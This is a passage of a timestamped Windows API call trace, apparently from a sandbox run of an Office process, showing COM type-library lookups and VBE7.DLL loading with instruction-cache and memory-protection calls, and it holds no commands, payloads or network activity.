[0053.647] IUnknown:Release (This=0x69b2e28) returned 0x4 [0053.647] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124eb8 | out: ppvObject=0x124eb8*=0x0) returned 0x80004002 [0053.647] IUnknown:AddRef (This=0x69b2e28) returned 0x5 [0053.647] IUnknown:Release (This=0x69b2e28) returned 0x4 [0053.647] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d8 | out: ppvObject=0x1250d8*=0x0) returned 0x80004002 [0053.647] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d0 | out: ppvObject=0x1250d0*=0x0) returned 0x80004002 [0053.647] IMalloc:Free (This=0x7feffc15380, pv=0x6907620) [0053.647] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124910, pIndex=0x0 | out: ppTLib=0x124910*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.648] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124920, pDummy=0x0 | out: ppTLibAttr=0x124920, pDummy=0x0) returned 0x0 [0053.648] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.648] IUnknown:Release (This=0x677d9c0) returned 0x10 [0053.648] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612738, invkind=1, refPtrFlags=0x124910, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.648] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124910, pbstrName=0x0, pwOrdinal=0x124930 | out: pBstrDllName=0x124910*=0x0, pbstrName=0x0, pwOrdinal=0x124930*=0x4ba0) returned 0x0 [0053.648] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000) returned 0x0 [0053.648] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x43) returned 1 [0053.648] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.648] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124b50, pIndex=0x0 | out: ppTLib=0x124b50*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.648] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124b60, pDummy=0x0 | out: ppTLibAttr=0x124b60, pDummy=0x0) returned 0x0 [0053.648] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.648] IUnknown:Release (This=0x677d9c0) returned 0x10 [0053.648] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612748, invkind=1, refPtrFlags=0x124b50, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.648] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124b50, pbstrName=0x0, pwOrdinal=0x124b70 | out: pBstrDllName=0x124b50*=0x0, pbstrName=0x0, pwOrdinal=0x124b70*=0x4de0) returned 0x0 [0053.648] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124b50, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124b50, pwOrdinal=0x500000000) returned 0x0 [0053.648] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b28a8, ppTLib=0x1249e0, pIndex=0x0 | out: ppTLib=0x1249e0*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.648] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x1249f0, pDummy=0x0 | out: ppTLibAttr=0x1249f0, pDummy=0x0) returned 0x0 [0053.648] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.648] IUnknown:Release (This=0x677d9c0) returned 0x10 [0053.648] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612750, invkind=1, refPtrFlags=0x1249e0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.649] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612750, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1249e0, pbstrName=0x0, pwOrdinal=0x124a00 | out: pBstrDllName=0x1249e0*=0x0, pbstrName=0x0, pwOrdinal=0x124a00*=0x4c70) returned 0x0 [0053.649] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612750, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1249e0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1249e0, pwOrdinal=0x500000000) returned 0x0 [0053.649] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124910, pIndex=0x0 | out: ppTLib=0x124910*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.649] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124920, pDummy=0x0 | out: ppTLibAttr=0x124920, pDummy=0x0) returned 0x0 [0053.649] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.649] IUnknown:Release (This=0x677d9c0) returned 0x10 [0053.649] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124910, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.649] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124910, pbstrName=0x0, pwOrdinal=0x124930 | out: pBstrDllName=0x124910*=0x0, pbstrName=0x0, pwOrdinal=0x124930*=0x4ba0) returned 0x0 [0053.649] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000) returned 0x0 [0053.649] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124710, pIndex=0x0 | out: ppTLib=0x124710*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.649] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124720, pDummy=0x0 | out: ppTLibAttr=0x124720, pDummy=0x0) returned 0x0 [0053.649] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.649] IUnknown:Release (This=0x677d9c0) returned 0x10 [0053.649] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124710, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.649] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124710, pbstrName=0x0, pwOrdinal=0x124730 | out: pBstrDllName=0x124710*=0x0, pbstrName=0x0, pwOrdinal=0x124730*=0x49a0) returned 0x0 [0053.649] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124710, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124710, pwOrdinal=0x500000000) returned 0x0 [0053.649] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124610, pIndex=0x0 | out: ppTLib=0x124610*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.649] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124620, pDummy=0x0 | out: ppTLibAttr=0x124620, pDummy=0x0) returned 0x0 [0053.649] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.649] IUnknown:Release (This=0x677d9c0) returned 0x10 [0053.649] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124610, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.650] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124610, pbstrName=0x0, pwOrdinal=0x124630 | out: pBstrDllName=0x124610*=0x0, pbstrName=0x0, pwOrdinal=0x124630*=0x48a0) returned 0x0 [0053.650] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124610, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124610, pwOrdinal=0x500000000) returned 0x0 [0053.650] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124710, pIndex=0x0 | out: ppTLib=0x124710*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.650] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124720, pDummy=0x0 | out: ppTLibAttr=0x124720, pDummy=0x0) returned 0x0 [0053.650] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.650] IUnknown:Release (This=0x677d9c0) returned 0x10 [0053.650] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124710, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.650] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124710, pbstrName=0x0, pwOrdinal=0x124730 | out: pBstrDllName=0x124710*=0x0, pbstrName=0x0, pwOrdinal=0x124730*=0x49a0) returned 0x0 [0053.650] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124710, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124710, pwOrdinal=0x500000000) returned 0x0 [0053.650] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124610, pIndex=0x0 | out: ppTLib=0x124610*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.650] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124620, pDummy=0x0 | out: ppTLibAttr=0x124620, pDummy=0x0) returned 0x0 [0053.650] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.650] IUnknown:Release (This=0x677d9c0) returned 0x10 [0053.650] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124610, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.650] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124610, pbstrName=0x0, pwOrdinal=0x124630 | out: pBstrDllName=0x124610*=0x0, pbstrName=0x0, pwOrdinal=0x124630*=0x48a0) returned 0x0 [0053.650] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124610, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124610, pwOrdinal=0x500000000) returned 0x0 [0053.650] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124610, pIndex=0x0 | out: ppTLib=0x124610*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.650] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124620, pDummy=0x0 | out: ppTLibAttr=0x124620, pDummy=0x0) returned 0x0 [0053.650] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.650] IUnknown:Release (This=0x677d9c0) returned 0x10 [0053.650] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124610, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.650] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124610, pbstrName=0x0, pwOrdinal=0x124630 | out: pBstrDllName=0x124610*=0x0, pbstrName=0x0, pwOrdinal=0x124630*=0x48a0) returned 0x0 [0053.650] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124610, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124610, pwOrdinal=0x500000000) returned 0x0 [0053.651] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124610, pIndex=0x0 | out: ppTLib=0x124610*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.651] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124620, pDummy=0x0 | out: ppTLibAttr=0x124620, pDummy=0x0) returned 0x0 [0053.651] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.651] IUnknown:Release (This=0x677d9c0) returned 0x10 [0053.651] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124610, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.651] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124610, pbstrName=0x0, pwOrdinal=0x124630 | out: pBstrDllName=0x124610*=0x0, pbstrName=0x0, pwOrdinal=0x124630*=0x48a0) returned 0x0 [0053.651] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124610, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124610, pwOrdinal=0x500000000) returned 0x0 [0053.651] IMalloc:Realloc (This=0x7feffc15380, pv=0x645f110, cb=0xc10) returned 0x6abbe50 [0053.651] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124a70, pIndex=0x0 | out: ppTLib=0x124a70*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.651] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124a80, pDummy=0x0 | out: ppTLibAttr=0x124a80, pDummy=0x0) returned 0x0 [0053.651] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.651] IUnknown:Release (This=0x677d9c0) returned 0x10 [0053.651] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612738, invkind=1, refPtrFlags=0x124a70, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.651] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124a70, pbstrName=0x0, pwOrdinal=0x124a90 | out: pBstrDllName=0x124a70*=0x0, pbstrName=0x0, pwOrdinal=0x124a90*=0x4d00) returned 0x0 [0053.651] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124a70, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124a70, pwOrdinal=0x500000000) returned 0x0 [0053.651] IMalloc:Realloc (This=0x7feffc15380, pv=0x6abbe50, cb=0x9c8) returned 0x6abbe50 [0053.651] IMalloc:Free (This=0x7feffc15380, pv=0x69d70d0) [0053.651] GetCurrentProcess () returned 0xffffffffffffffff [0053.651] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99399, dwSize=0x8) returned 1 [0053.651] GetCurrentProcess () returned 0xffffffffffffffff [0053.651] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99398, dwSize=0x8) returned 1 [0053.651] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99399, dwSize=0x8) returned 1 [0053.651] GetCurrentProcess () returned 0xffffffffffffffff [0053.651] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99398, dwSize=0x8) returned 1 [0053.651] GetCurrentProcess () returned 0xffffffffffffffff [0053.652] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a993a8, dwSize=0x2) returned 1 [0053.652] GetCurrentProcess () returned 0xffffffffffffffff [0053.652] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a993fc, dwSize=0x55) returned 1 [0053.652] VirtualProtect (in: lpAddress=0x6a993fc, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x12505c | out: lpflOldProtect=0x12505c*=0x40) returned 1 [0053.652] GetCurrentProcess () returned 0xffffffffffffffff [0053.652] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99e41, dwSize=0x8) returned 1 [0053.652] GetCurrentProcess () returned 0xffffffffffffffff [0053.652] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99e40, dwSize=0x8) returned 1 [0053.652] GetCurrentProcess () returned 0xffffffffffffffff [0053.652] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99e50, dwSize=0x2) returned 1 [0053.652] GetCurrentProcess () returned 0xffffffffffffffff [0053.652] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99ea4, dwSize=0x45) returned 1 [0053.652] VirtualProtect (in: lpAddress=0x6a99ea4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x12505c | out: lpflOldProtect=0x12505c*=0x40) returned 1 [0053.652] GetCurrentProcess () returned 0xffffffffffffffff [0053.652] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99f2c, dwSize=0x45) returned 1 [0053.652] VirtualProtect (in: lpAddress=0x6a99f2c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x12505c | out: lpflOldProtect=0x12505c*=0x40) returned 1 [0053.652] SetErrorMode (uMode=0x8001) returned 0x8005 [0053.652] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0053.652] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0053.652] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10017148000001b5) returned 1 [0053.653] SetErrorMode (uMode=0x8005) returned 0x8005 [0053.653] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x269) returned 0x7fee48fd48c [0053.653] GetCurrentProcess () returned 0xffffffffffffffff [0053.653] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f03d4, dwSize=0x4b) returned 1 [0053.653] RtlLookupFunctionEntry (in: ControlPc=0x69f03d4, ImageBase=0x124ee8, HistoryTable=0x124ef0 | out: ImageBase=0x124ee8, HistoryTable=0x124ef0) returned 0x0 [0053.653] VirtualProtect (in: lpAddress=0x69f03d4, dwSize=0x4c, flNewProtect=0x40, lpflOldProtect=0x124fec | out: lpflOldProtect=0x124fec*=0x40) returned 1 [0053.653] RtlAddFunctionTable (FunctionTable=0x69f042c, EntryCount=0x1, BaseAddress=0x69f0300, TargetGp=0x124fec) returned 1 [0053.653] SetErrorMode (uMode=0x8001) returned 0x8005 [0053.653] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0053.653] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0053.653] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10017148000001b6) returned 1 [0053.653] SetErrorMode (uMode=0x8005) returned 0x8005 [0053.654] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x29c) returned 0x7fee4aa3344 [0053.654] GetCurrentProcess () returned 0xffffffffffffffff [0053.654] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f0184, dwSize=0x43) returned 1 [0053.654] RtlLookupFunctionEntry (in: ControlPc=0x69f0184, ImageBase=0x124ee8, HistoryTable=0x124ef0 | out: ImageBase=0x124ee8, HistoryTable=0x124ef0) returned 0x0 [0053.654] VirtualProtect (in: lpAddress=0x69f0184, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x124fec | out: lpflOldProtect=0x124fec*=0x40) returned 1 [0053.654] RtlAddFunctionTable (FunctionTable=0x69f01d4, EntryCount=0x1, BaseAddress=0x69f0100, TargetGp=0x124fec) returned 1 [0053.654] SetErrorMode (uMode=0x8001) returned 0x8005 [0053.654] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0053.654] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0053.654] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10017148000001b7) returned 1 [0053.654] SetErrorMode (uMode=0x8005) returned 0x8005 [0053.655] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x278) returned 0x7fee48fd6f0 [0053.655] GetCurrentProcess () returned 0xffffffffffffffff [0053.655] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a9ad48, dwSize=0x53) returned 1 [0053.655] RtlLookupFunctionEntry (in: ControlPc=0x6a9ad48, ImageBase=0x124ee8, HistoryTable=0x124ef0 | out: ImageBase=0x124ee8, HistoryTable=0x124ef0) returned 0x0 [0053.655] VirtualProtect (in: lpAddress=0x6a9ad48, dwSize=0x54, flNewProtect=0x40, lpflOldProtect=0x124fec | out: lpflOldProtect=0x124fec*=0x4) returned 1 [0053.655] RtlAddFunctionTable (FunctionTable=0x6a9ada8, EntryCount=0x1, BaseAddress=0x6a9ad00, TargetGp=0x124fec) returned 1 [0053.655] SetErrorMode (uMode=0x8001) returned 0x8005 [0053.655] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0053.655] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0053.655] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10017148000001b8) returned 1 [0053.655] SetErrorMode (uMode=0x8005) returned 0x8005 [0053.656] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x260) returned 0x7fee48fae28 [0053.656] GetCurrentProcess () returned 0xffffffffffffffff [0053.656] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a9aaf4, dwSize=0x43) returned 1 [0053.656] RtlLookupFunctionEntry (in: ControlPc=0x6a9aaf4, ImageBase=0x124ee8, HistoryTable=0x124ef0 | out: ImageBase=0x124ee8, HistoryTable=0x124ef0) returned 0x0 [0053.656] VirtualProtect (in: lpAddress=0x6a9aaf4, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x124fec | out: lpflOldProtect=0x124fec*=0x40) returned 1 [0053.656] RtlAddFunctionTable (FunctionTable=0x6a9ab44, EntryCount=0x1, BaseAddress=0x6a9aa00, TargetGp=0x124fec) returned 1 [0053.656] IUnknown:AddRef (This=0x6856a50) returned 0x9 [0053.656] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126418 | out: ppvObject=0x126418*=0x0) returned 0x80004002 [0053.656] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, 